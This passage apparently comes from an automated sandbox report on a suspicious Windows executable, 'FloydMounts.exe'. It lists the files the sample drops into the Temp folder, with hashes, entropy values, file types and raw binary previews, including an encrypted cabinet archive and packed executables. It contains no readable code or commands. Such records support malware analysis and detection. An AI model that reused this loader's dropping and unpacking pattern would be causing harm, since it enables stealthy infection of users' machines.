SHA-256:	CEC066181C67B67E3C19C6E11419885909A8DCFB896F08C6F39A48B39C318ED7
SHA-512:	923532B88967848AAD6D6C92B1911A574AEF771C5DC96B05556EEA0F799FEC231FCF3CB2800A2BB9A952638EE963A12E68606BEF945F65F570434A1B989CEF44
Malicious:	false
Preview:	.....U...P..$....j..7.V......p........j..7.@.........$...Q.V...........D$@.............j........u..D$..L$.Pjp..........D$......W.............P..$....j..6..............p.........j..6.................{...Q.....p.........f...Q.....[...........@.......E.......@..@...@..PQ. ....B....u..M..E.j.P.E.PS.c........... ...u$.M..E.j.P.E.PS.Q............U.u..U..K....f.x.Nt.......8.......j..E.FP.E..u..u...PS..............U...u..M.............t[3...j....I#M..M.............c...........~pj........~e.u.j.j.V..........tQj.j.V.........(........tv3......I#M..A..x..~#j.j..m....M.P.....M..E.P....e....M.h..I...I...M..\|....M..E......E......f....E......E......'...j.h..L.j.h......../....y..K..E........@.Ph.....q....M.......E......E...........N..E.;.......P.........8........E..E.j.P.E...PS.n............E.P.M......u......2...............2...............2.........2....M...t...............................2.............................................M......M...t..F.........=..........@

C:\Users\user\AppData\Local\Temp\Consultants

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1980
Entropy (8bit):	4.969305279778163
Encrypted:	false
SSDEEP:	48:x9n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfx:bSEA5O5W+MfH5Z
MD5:	1DA7785DE3B9D1CED7073E03EDBE289C
SHA1:	404895EF60693310385E91D0497CAAF920159C26
SHA-256:	D373C92A1EEDF063CDA60CD520E98FC3A3BF322B6C6EB48069C727C30AB1D255
SHA-512:	6C83904CEA715A1FC345168C8DF76DB0421A5719D15EAE3AD2D5B05D5C6918BA2960AAC8866FC832900A6E0AB49EF58CF42B00CF793C730573C4B11450CFCE50
Malicious:	false
Preview:	nightlife........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.......................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Contribute

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	Microsoft Cabinet archive data, 488471 bytes, 10 files, at 0x2c +A "Operator" +A "Administration", ID 8699, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	488471
Entropy (8bit):	7.998330151005352
Encrypted:	true
SSDEEP:	12288:EUSzEWFM6BZYt1qUnljhJ9mQnxNHM7lHdtcSc:E5wWFMkUpsQrcxcf
MD5:	05439968BEF462C17439D4FFB063F499
SHA1:	5581D9048CCDA203C4F6E6F38E7796501DFE5B69
SHA-256:	6D2343E6A73B30C68BBDEC370C83DE63447DD23B03223FA1FD5B8C867A14D34D
SHA-512:	8B74BAF84C8E942CB5FF061F1650DE1EDAEFD86982896236BAC2332B7F8C2B1999B879CC83D3445B557A6FCF6BB70BC2D57E975F7DAD7595954AF2449FCFAD25
Malicious:	false
Preview:	MSCF.....t......,................!..)..................Y@h .Operator..@.........Y@h .Administration..X...,.....Y@h .Revisions..P.........Y@h .Commander............Y@h .Freight............Y@h .Rose......x.....Y@h .Louisville............Y@h .Oregon......,.....Y@h .Consultants..@..a4.....Y@h .Array..304`I..CK...\|....>.H2$.f..#...4......H.l@Jl0d7)$`?..U..dF.%.8...~....-.......W...n.y..$ $$....2..G.M...9..>.h......s.>.=.{.9..s.!......q..i.....Qz.Sjrf........>.k.n..P.,.%.de.%.vv!#q.v>.\7.=.;...tW..5.m..2..)VS+..c..kH.UM.9z.#..B...)Q..!(.$..O'X.........O....wB..........Y...c6..qUE.....%.V.LU.P.tUHS..U0..I.X5....1.q..2'......)RS.#..c..T..z.U...L.>......?.r.......3...<.#._..Zs4..D7.j...\|....0.4.+..0. @....P..B.......Z...3N...B..B....[..f...3^^..j....(...0{...#.]..).$..X..s@.(...p.tD..F1(.0H....b.{..SNN....1.2.u..g3...\|..0.4.3.P'.\|...B..S*.F.k..K.N........3E~.r......q..L..E.....L...l..,.`.9M./....dLc.....c.{.=........3M..F..@..h........L....g..<....0.L.......x5...}.tD`E..).L

C:\Users\user\AppData\Local\Temp\Crimes

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.997881907362051
Encrypted:	true
SSDEEP:	1536:0tTAp6qD2l5QhlCj5aKhglYdo6BuPUC8JR5Qij2BYvzNBb3eO71zXl/yF5Y5:0ep6qDkmhlCEKwYBBnZT5zN11zXY05
MD5:	1263F3D83D0F3189B504B3A2EEE5E82E
SHA1:	9651A79EA80391BFD28DD87BB56B5CC59E3C2A23
SHA-256:	D50D4BB5A4D6F36B45989C3E42B11766DC8AE284631BBE9AABD5952BC1CC4D49
SHA-512:	58D61FA08D62D825D572C401A30697949A47B5CEACEA2FF9B370DD08EEE0A1E0A9576AC16C8B5DC17ED3AC8E5EA53FE084372959ECBF6C413532B3A0D1E4EEF1
Malicious:	false
Preview:	.8.l(.B.Z.,.ec.x.T.s.v.B...3..m'.eT..7>..P...v....9.......A~-...........K..].E..L...n..Lh.....).>L..'>..,^...'.......eZ.W+...q..xI.d.....v..U.....-P...}..q{FX @..^>.nBK.;.<!9kd.....;.X...J3F.._J[a.0.!A....o..~.a.r...'.#../u..3ew..r...@.]...v'>.t..)!..d...'o..H.........s..O....5...( .W...q$........[7..>1+.........J..z.......9...;..`...x..v.`@.....H.....>..'.......nG.....V.ph.5#.....e....Y.jG.T<......S....C`.\|..g..<....o..u.......W.d.cg..6.....W\|...^..4....l..........k.....8.z.D.>....l`......I.......$)U.H).....iZT....(....x..p.TQ..L........]..`.M2.w.l...Jj.b...7..L!...yC^w.c......%...B.`.........\|Fe..#<.b.A......Z..s...T..t"....yd....0..o.?Q.3.J..}.>y+.5,.F...t....J.-.:o.+t.....B<(. .s..D.....@..en/G..x1>..%h...q.T.S.k.<IzU9D.4..{I.{.n.&h...Vec...Mj.Xc.S.E...4...s....n...?.;wM.</.4W..=..\|..A.<..d..eM...Y...~...J...p.k..Xf..G..X.+......SG..m[...%.T......!....5..R.w.Y...Dj;..c..q[{..,}..g....=G).L^.. _.T....m.O.v..........w.....e*

C:\Users\user\AppData\Local\Temp\Freight

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.422620896534243
Encrypted:	false
SSDEEP:	3072:SfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8c:SfhnvO5bLezWWt/Dd314V14ZgP0P
MD5:	52E9DCF6A41C36F07FBDA1A058C58018
SHA1:	2357E589652DCEA7B49324468E41D16825ED3A2B
SHA-256:	1B629D5D9990C02C9648ABB5C7583F9CDB7D1DC8FE844AE0C8B293FBAC7CFFDB
SHA-512:	E64DBFFEE6946E053CCEBB5D1BA388C83D680CF0D21D59C9AB2C6C2E70013907361000310E31CD1F4E070F43510A274E16C4D8E4B9D21BC0D5225100567D9478
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	.9....F.j5Y.M....].f9K..]..M.u(.u..M.;..u..M.t..E..M..0..F.....F..M.B.....jG..B....u.^f;.u........}.......t...B.Ph.....R....M.U.R...P...u....F......@.Ph.....+......E.PSV...f............E......F........A...U.f;E.......jNXf;.......jGXf;....................A..AjNXf9E.u).y..u#j..E..M.PSV...:...........u.S......}.......t...B.Ph................M.U.R...P.....S......F......@.Ph.........E..e......e....VPS.u..E..................E....@....f.x..t...@...Pjr._.........E....f..A.......u.M..9...E...P.E.P.E.P.E.Pj..:......M......C....td....RtQ...t3...t ...t..M..E.P....'.u..M...D...2.M..E.P.......M..E.P.AD...u..M..:.....u..M...J...E.P.M.......]..{..u...j..W:...u.M...8...E..P.E.PS......M....%C...M..%l...K.u.M..8...E...P.E.P.E.P.E.P.u..S......M......B....t.......u..u.V...X......M...B...M...k...M..E...I..M....u......Y_^[....S..QQ......U.k..l$....X.S.VW.{..R..M.jH.....^.u......f9p..u.u..D......@.Pjp........7....s..M......73.}..M..E.G........@.f;E.u.B..f;E.u.J..j@_f;.}.u...t...x

C:\Users\user\AppData\Local\Temp\Louisville

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	6.531397126063558
Encrypted:	false
SSDEEP:	1536:OuCYm9PrpmESvn+pqFqaynB6GMKY99z+ajU1Rjv18fRQLTh/Q:BCThpmESv+AqVnBypIbv18mLto
MD5:	FE7B562D05513307015EBF2714856D68
SHA1:	86FE3308383FE3D3DCB874A4E85550433F7A11D2
SHA-256:	E3F9B57B35F6F389C6BE4D21F1FF2EDB49D3BB0ACE250F18098DCFA18639B942
SHA-512:	C877E28DB16C5DCD250CF4691F8C7041042BC300352865D251C5DDFCF265E0A1D4C7937E8AFCDE758284993ECCC7BD93369CC4D0725C061AE5E6C1E7F87011B1
Malicious:	false
Preview:	.D$8Y;.u..L$,.T$(.......\|$0..T$(.L$,u..t$`+.\|$dx......D$$@.D$$...t".T$8.....D$$3.T$8A..;...H......\|..t$D....;.u.h`~L..L$D.I....M.h..I.........@..\|8...L8.t..I83.F.q..\|8...L8.t..I83.Y..L$@..m..........S..p.I..D$.Ph4.J.VSh..J...X.I.....v....D$..T$<Rh..J.P........Q....D$<S.t$D..P.R.....0....M..5...j...j.V.....L$..D$\|.....j.S.....SPQ.R..D$pP.L$T..B..P.L$.. ...j.j..D$.PV.5.......L$..iu...L$P.XL...D$..T$pSRP...Q .D$pP.L$T..A..P.L$......j.j..D$.PV.........L$...u...L$P..L...D$..T$pSRP...Q(.D$pP.L$T..A..P.L$.....j.j..D$.PV........L$...t...L$P..K...D$..T$pSRP...Q..D$pP.L$T.3A..P.L$..<...j.j..D$.PV.Q.......L$..t...L$P.tK...D$..T$hRS.T$x..RP.Q@.D$pP.L$T..@..P.L$......j.j..D$.PV.........L$..4t...L$P.#K...D$h3.D$.3.@.\$.j.P.D$$.D$.PV.........L$...s...D$..T$lRP...Q8.D$l.D$.3..\$.@j.P.D$$.D$.PV........L$...s.....H..D9.8\9.t..@8.X..D9.8\9.t..@8.X..D$<P...Q..D$.P...Q...t.I..L$@.pJ.._^3.[..]...U.....E...T....@.SVW.0.....m....F..L$.Q.0....I..]....u:....s...#.3.B.S....H..\|9...D9.t..@8.P..\|9...D9.t

C:\Users\user\AppData\Local\Temp\Loving

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	data
Category:	dropped
Size (bytes):	71257
Entropy (8bit):	7.997434754485162
Encrypted:	true
SSDEEP:	1536:vc17ck8WybuEralTCO+Jt3E6TI4c4aJ7fFL8nlNDxJ2DYdX:IFcuEWlTC3PE6TI4hSfBGNV3dX
MD5:	EF2045147326C53A98C724608A59C3EC
SHA1:	C786849FD3A1E58D89B273FF5A69D4D2EA227195
SHA-256:	A29DC9679DA5367BFBD6664CBB4D173C8025B12A2C3F47D939D732740C42DD1E
SHA-512:	E2D2272B1801CE952CC4DB7A745FABD9ADB1DBA04FA1BAEBEA22E0E646256F3C874B3CCD4049BD83287FF2F5E47BDA6C45E97AE97C6678FC943E211894A68892
Malicious:	false
Preview:	..e.G...%f..b..=S...[..w...A.?.-..W>..............-..4..<..V&T.V..L.c.}.qL\|.S.2..5.\|z_yT.yLN.....Jz&.............!..(.&...a.W..(...xp..%XPe....4z.../..R4./.......z}..omj...........J..6G..zGEB...j.KcjA>".C2w.2......@6p.P._...4IT..'....-....~.^P...{....%\|a..>w..yx.T.u.....dQ...........JS.3.J..:......6}..g...k9p....IF...F4..Z...m.r...W..dx..UB.<.s..Iz..9...&.LP.......L.I....hg.n...].......t..g....g....8.0q...tZ.zk..12....,..ax2..PE.8?....`.s.%.W(.2.i.'S0.h....o.....[mXs.g.FX....eA..D.....@...q...a..S......._.[.<...6B_q.....m..`..... a..C.y.g.z?.>.~......6ok.Q.!...Pg....s~3.C.3E...._/M]......v.<q.k.r.....8K..d>;..j.d...%.`..py..n$.#-.G.qd/.?......B.9...3!..]w>.d...:8......0...:..~...Wm.G.".a<....l..M.4....u..:...E.].!.Io$...K!.&.:..G(<.7B.RS.0.z.<...T.............?lF .....g..D.....h\..9x........~...A..-L,L].....mK.,j.pS........E... ...P..t..o.MvY4wtj....?..A.^P.b......uD..%.m....~['.u.$qd..I..J6.e.2...a...l.......?.Oa.m4...U..m..X}..{....q3

C:\Users\user\AppData\Local\Temp\Operator

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	125952
Entropy (8bit):	6.699399799740353
Encrypted:	false
SSDEEP:	3072:oDOSpQSAU4CE0Imbi80PtCZEMnVIPPBxT/sZX:oiS+SAhClbfSCOMVIPPL/sZX
MD5:	B39CD19DFAF37474E079A9DC203FA3D8
SHA1:	FAEAC9132BC11601618D39C6B2FEE885F32B7AAC
SHA-256:	4609DEDD216879E267969C67F2176769AEA6C04BA385FC89EF7E5B84131336E4
SHA-512:	4C8BFC7D4A8528A6504062AFA012C740D2914896EC1170FF847C2056EE2A0B9A1F74FDE2BADC64052CEA8F2C20002025AC6C26725A169275D73D3F1CBFC8AB7A
Malicious:	false
Preview:	.t.V.....Y......L......L...j ...Y+...3..;3._^[]..U..E.W.<...M.....t..A.....#..WS....,J.Vh....j.S..p.I.....u'..0.I...Wu.VVS..p.I.....3...u......3........t.V....I...^[_]..U..Q...L.3.E.V........t'.u(...u$.u .u..u..u..u..u..u.....I.... .u..u..u..u..u.j..u.....P..T.I..M.3.^.-.....].$...U..Q...L.3.E.Vh02J.h(2J.h02J.j..N..........t..u.......I.........I..M.3.^.......].....U..Q...L.3.E.VhD2J.h<2J.hD2J.j............u...t.......I.........I..M.3.^......].....U..Q...L.3.E.VhT2J.hL2J.hT2J.j...........u...t.......I.........I..M.3.^.+.....].....U..Q...L.3.E.Vhh2J.h`2J.hh2J.j..L.........u..u...t.......I.........I..M.3.^.......].....U..Q...L.3.E.Vh.2J.h.2J.h.2J.j.............t!.u ...u..u..u..u..u..u.....I.... .u..u..u..u..u.j..u......P....I..M.3.^.P.....].....U..Q...L.3.E.Vh.2J.h.2J.h.2J.j..q.........u...t.......I.......p.I..M.3.^.......].....U..Q...L.3.E.Vh.2J.h.2J.h.2J.j............u..u..u..u..u...t..u.......I.....j..u......P....I..M.3.^......].....U..Q...L.3.E.Vh.2J.h.2J.h.2J.j..

C:\Users\user\AppData\Local\Temp\Oregon

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 0.927448
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	5.774111787752619
Encrypted:	false
SSDEEP:	1536:xHsWccd0vtmgMbFuz08QuklMBNIimuzaAwusPL:xLeAg0Fuz08XvBNbjaAtsPL
MD5:	B38C39C27B160E7666E2F40157F9A1AE
SHA1:	763F5BE4AA26E962B1B118AD567502E8CCB4A8BD
SHA-256:	3DD10056F6F9520B9CC627693CD6D41534EF67C517E12C36FF9A971484B27A94
SHA-512:	D8D66494CAC6980D0AE49E9DC29E690EB7D3D2DAD5707BC9E75874FDA490DF37678F36C044DE78DFDF9B0601350259965373EE745E8D362C155230FD3502A9EB
Malicious:	false
Preview:	....>.......>...m0_$@......8C..`.a..=..`.a..=..@T.!.?sp....c;......`C.......<.......?...............?.......................UUUUUU...............?UUUUUU.?........l..l.V.4.V....>.......>...m0_$@......8C..`.a..=..`.a..=..@T.!.?sp....c;......`C.......<.......?...............?.......TZ...FJ..FJ..FJ..GJ.j.a.-.J.P...z.h.-.C.N...k.o.-.K.R...z.h.-.T.W...u.k.............@NJ.....HNJ.....PNJ.....XNJ.....hNJ.....pNJ.....xNJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......NJ......OJ......OJ......OJ......OJ..... OJ.....(OJ.....0OJ. ...8OJ.!...@OJ."....GJ.#...HOJ.$...POJ.%...XOJ.&...`OJ.'...hOJ.)...pOJ....xOJ.+....OJ.,....OJ.-....OJ./....OJ.6....OJ.7....OJ.8....OJ.9....OJ.>....OJ.?....OJ.@....OJ.A....OJ.C....OJ.D....OJ.F....OJ.G....OJ.I....PJ.J....PJ.K....PJ.N....PJ.O... PJ.P...(PJ.V...0PJ.W...8PJ.Z...@PJ.e...HPJ.....PPJ.....TPJ.....`PJ.....lPJ......GJ.....xPJ......PJ......PJ......PJ.....P+J......PJ......PJ......PJ....

C:\Users\user\AppData\Local\Temp\Pierre

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997477995008248
Encrypted:	true
SSDEEP:	1536:FTOqoFZvMVlJ03YFtVDEZPDLeX+DFSV+jnHDwQMu:1OqCvSMIFnYZWX+DFS+HDwlu
MD5:	1C7D1FEE679FD719B3D49DFB22A926DB
SHA1:	638F7B3E816B58547B9B045773117903ADE4B6B3
SHA-256:	46997897E6014E82AEDDCD24736E1FD89DC5473C8BB2CA2A79038B223B268589
SHA-512:	BF6624869C6123333F6E24A63CB1C21FE1DDAB999557439563139273AF3C580F170AC3F803880BE0A973A155DE64EC86C1041E44627EC2F7BF0C95E4751C962F
Malicious:	false
Preview:	B..e.@;...l.y.....4.W..O.......vy.....4B".kC...F...w..b.N+.TY.)..};.T].....I...QIYj...Vk..+.........o]....,.C.f.t.....}...I.E..4..&........(..H\...(...a.Ql........Y.Fu..y....3+..{....U..m1..@.?..]......;.J.DW.0....k^.i.~......42.4.9Hi...O.....U=...$..Z'......A..."....7-...{n..0Y......H.V}>.wi..a......GV...@.)....t.N..7.W'.....#.G.f..;.}.:..'B.J.....9....G(..(}$...F...k..%.z..Z.D.d....%....2J`2k.<T.".M...8Hn..........%.v...<...E...'.s.....N.N..S@..0...{.z2....6~.=.b#...`.\}#.'2 P.Q...T...R..EX".3...T..pR.EM..H....E3n.;hq..... f....5.._q..0?...n.+.C.fV..;v.........7^,RCjk.K.`_o..u.8.5.;.Ib.3R..Y.'\|O.Z..L.(.!<w.5C........].v..E...`..[P.l.6.O.....0......oc.aKI."l.)r".W...o..-..HTt....g...!.h......h....\|!..R...J....u..a.o........J..W....../.\|.Sg.'"J.l.c.$.q.v$..HA9;.....7og........~..VIU6];1}9.iA...q$(.>..].....USmo.O...$ }.A.N2..t...,y/....Z2.jU.k?.K>.,. ...c.95....>.\|...t..d%..4r....=.QC..).1;O$x-....8.)).>tH..S..k)..:..C:...k.*.)..Od.tHH

C:\Users\user\AppData\Local\Temp\Revisions

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	22693
Entropy (8bit):	7.290066314329222
Encrypted:	false
SSDEEP:	384:e/2ETHwWV8tnwmTihbn929MwO/ChZrzmZGhLdXVaeCVrVEVFJ8ZcGwGBk7/UMQ38:e/ZByLiFuO/ChgZ45VatJVEV3GPkjF
MD5:	B6DDD900F49C22D202197E584E363F32
SHA1:	C8CA94B5D673BD8DA83A72AEE4A451FC33CEB2FB
SHA-256:	319D5C61161876C405D7A93E8DCD81001349B900B0CD9C1144639896F1AE9989
SHA-512:	D6CCA34FB5C46C787A2E0A866A325743CEA87FF21F7B67E9B5DD7F1347F4801F6355C5109FC365DD6DC0807CE2C77CC887AED78BA2D6FEC88991FA2AD16A6F2A
Malicious:	false
Preview:	6.6K7.8.8.8.9.9.:.;\|;.<.<.=.>.>.?B?T?.P..h...m0.0e1i1m1q1u1y1}1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2.2.2.2.2.2.2!2%2)2-2125292=2A2E2I2M2Q2U2Y2]2a2e2i2m2q2u2y2}2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3.3.3.3.3.3.3!3%3)3-3135393=3A3E3I3M3Q3U3Y3]3a3e3i3m3q3u3y3}3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.4.4.5.6Q6.:;:U:.;,<.<.<.=.=5>.>.?.?.?.?.?...`..T....0.080F0N0X0e0s0.3.3.3.3.4.4.4.4.4.4.4.4!4%4)4-4145494=4A4E4I4M4Q4U4Y4]4a4e4i4m4q4u4y4}4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4 5*5:5G7Y7-8?8u9.99:.:.:e<.<L='>+>/>3>7>;>?>C>G>K>O>S>W>[>_>c>g>k>o>s>w>{>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.?.?.?.?.?.?.?.?#?'?+?/?3?7?;???C?G?K?O?S?W?.p.......0g1x1.294@4O4g6.7C738J9\|:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.;.;.;.;.; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;\|;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.<.=.>.>.?.?.?.?.?.?.?.? ?$?(?,?0?4?8?<?@?D?H?L?....@....0.0.1.

C:\Users\user\AppData\Local\Temp\Rj

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.998057958270943
Encrypted:	true
SSDEEP:	1536:+032L5piMRNdPvsmkOn6/fTPdQKFNR/5kuvlUIi7d8FMdfx2ec+T2QMKLekt0MB8:FGL5pBN51kO6TrR/5kuvTiJWMlx2ePsj
MD5:	129FE56DB6607EE77F3EAE2AE1493B22
SHA1:	4E0A565D15ADD9AC344F756A09775A1AFC55AEA1
SHA-256:	BFA18CF8E5DEF17BC15929DEBD257E9F0966EA736647EEE06FDB334A02644933
SHA-512:	9F1AE9102E1EFD166610B6FE421ACC27EDE6D2EA88D0775BDE66D796711AD4BCDF2B298279078E7BAA033481D96F42A85961FF8F77EB566924076CC2549C0F0E
Malicious:	false
Preview:	..8.5.(....L..z..H.2@..~.......$..G...,{..&.....U..g....:..J.J+[.."l.u.N...Xx}.O.~.W.\|w..K.Ul&...J.t`..8.5n....).2...X%v.X..).,....PL.)..l....%;9[R._u.tvq..W.!.<...`<(w.}..%ZJ"\|.=u....6......jI.Y.#...M.........h.\(....7...nh".b...hJ..W..x.Z...e....N5nb..+..j...f....D.q.j...?.."V1....t.o...U..$K..x..b.........-.j..;....E.L@.3L/.AsG.grR....O.e..w.aA.........v..Ul..b../..VI.f...M...q...D.)s..eSG.v.n....1.n<p..-][.&f.f.........hu.x.......K:~...$..:.c..Dh{p!%...c.7.;B...........).....z.f...m..H.(.pl..q......L$Af...r$$=.N.....<."..X8...U.V:..x.(.\|_R.@..`... ..)..[a.p@6Rb.R............^N....Z7...ra.f.A...a.&<..4I.X..v8.f..`hg..S....'(8......4.......S..'..h..F......I.t...@..:.Gc..L.....x...H.@v#...i...4!Z.54-)\._S.%...e....B{M.x.Y.W...{...N.~.;..H.'.R.....<...0....b~....ugS.%b.VKi...q.......W8.[..m.....S.r.H.A..$.}@.........8D.w....3d.T4..@..L+a..4+4.!.y.HN....Uh.T...\|...i.4].......'l..Gk.;B..]..5.=.,....K@..pe.1....3....5...z....z.."M#

C:\Users\user\AppData\Local\Temp\Rose

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	StarOffice Gallery theme L)M, 3957914717 objects, 1st 2\300j\017\210E\013\377\025\034\325I
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	6.557100070986857
Encrypted:	false
SSDEEP:	768:I18OWrM81EyJqx9EdzGGXZVfmlqTmN5WAQIGK2ud5lS87uzh7JCQ/sE7mOB6XSHi:I1/AD1EsdzVXnP94SGGLpRB6M28eFvH
MD5:	E0B9C3FB54D7E9C504BEDDA860C53286
SHA1:	6D828745F7126BF0FF8D6157AF1E208FA018CA8D
SHA-256:	A28FE80B25D6BCE73C45C0A23C449C89B0D178D6140037EA7A05CDB3F3D51A79
SHA-512:	DB638761BAB6BDD21043D5F587CA60D63EA42FBE4833F30B114A4F8422BF100EFC7D13B1D2969E926E7954540E721F5000CB56E62EC9CD4B7CA21FC314F4E128
Malicious:	false
Preview:	....L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..L$........T)M..L$.....8.\|$..............'........P............H..............a...WQ.P....7..<.I..t$...D.........d.........h.........P........D$.;F.t.P.....3.@_^..]....L$..N...3...U..V.u.;5t)M.........T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N...5d)M...X)M.^...v..D...8.t.]...I..X)M.j..4......T)M.Y

C:\Users\user\AppData\Local\Temp\Share

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	7.997422533213758
Encrypted:	true
SSDEEP:	1536:Vf/y5sY4AVGctAuYfF1+Jbju/W381Fy5SwjI1UdQx/Hqj69og5hP2sBhpb0:947VKr+JbjH381Q5SX1UdQdog5hP2Ub0
MD5:	87DBCBA208DB9A09756256F7AE280E58
SHA1:	8AB1ACD8A79C967942C3795426C24B732ECC5CF2
SHA-256:	EB3793298937E93429FB886895AF6B22517FE37B2709122D107A721D3D37CE9B
SHA-512:	49954D492195DCD9876F99DBE469F3C5BEE41FDFBA5060B57BB62568BD506D0F5EE17D19E18C79E48CAF407A408BCC8A6DCB8DB73CB6FF50966C889EC8E703CA
Malicious:	false
Preview:	...2.n.A..;..b.[.w....O6.r.C..I.u,..-...t..gZ....!.]....'..p..yJ....ibm....=...E.(.... ...........F..sZ..T.......2)...juhw}...e~.d.im.T...n.%..wa..97X!I.......`....u.T....C.e{..D..i.b...6\4..bI.t..%.......{..i.........c....2.!)^.qDl....3w.g.EY.P..,...OH.z...Z..zHg.,..q.....5L.#F.2._..R.".......N....V...Sq<Dg.......o.-n..>78..$..YJ..S^...s...Or._:(.T.......:.i.(.Q.>.........v...X.j{'.\|.g.\9.].'.q.........,...q#...N)...I..........^c.sg0aO..d.K.jZG1:...[.&H........J...q&..6.68<]......c....:..jH".>.tM....$......r...91...6j...`..=Lp..%.....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....2.G.'.F...h..............W.......W......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...

C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\174436\Produces.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11728114
Entropy (8bit):	7.974646297516563
Encrypted:	false
SSDEEP:	196608:KbHkDuHk/RU/RXE2hxZKYokT5D7c6OZ0zLVhPoJOo0W/Di:KbHkqEKpE2JK5kF/c6OZ0zLVhPoJd
MD5:	1DBAC9190F7C834BBB99CE9010475856
SHA1:	B72A51A3D82552E07A6D0DBBBFBD072BC861F39B
SHA-256:	68D78D466CC96BF03CF5A1A24E5568E97256BAEBC0C4500BC64F45347EB4203F
SHA-512:	522C6E7D036B68658F8C20A66DAC83EF4DF20CB8B7C356848AFEB40585D774D90CC725B17DFF9562E12D52B063E10653BAB7486FCE8B0217A82B7ADD7D8B1E7E
Malicious:	false
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@..................................1/...@......@...................p..q....P......................R...............................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\a329edd1

Download File

Process:	C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe
File Type:	PNG image data, 1632 x 5320, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7092889
Entropy (8bit):	7.998387414861331
Encrypted:	true
SSDEEP:	196608:QeUGSnd0ET5dXQEI+XTkVwN/LDqMeuF/q:Q9LTrAojdluMeuF/q
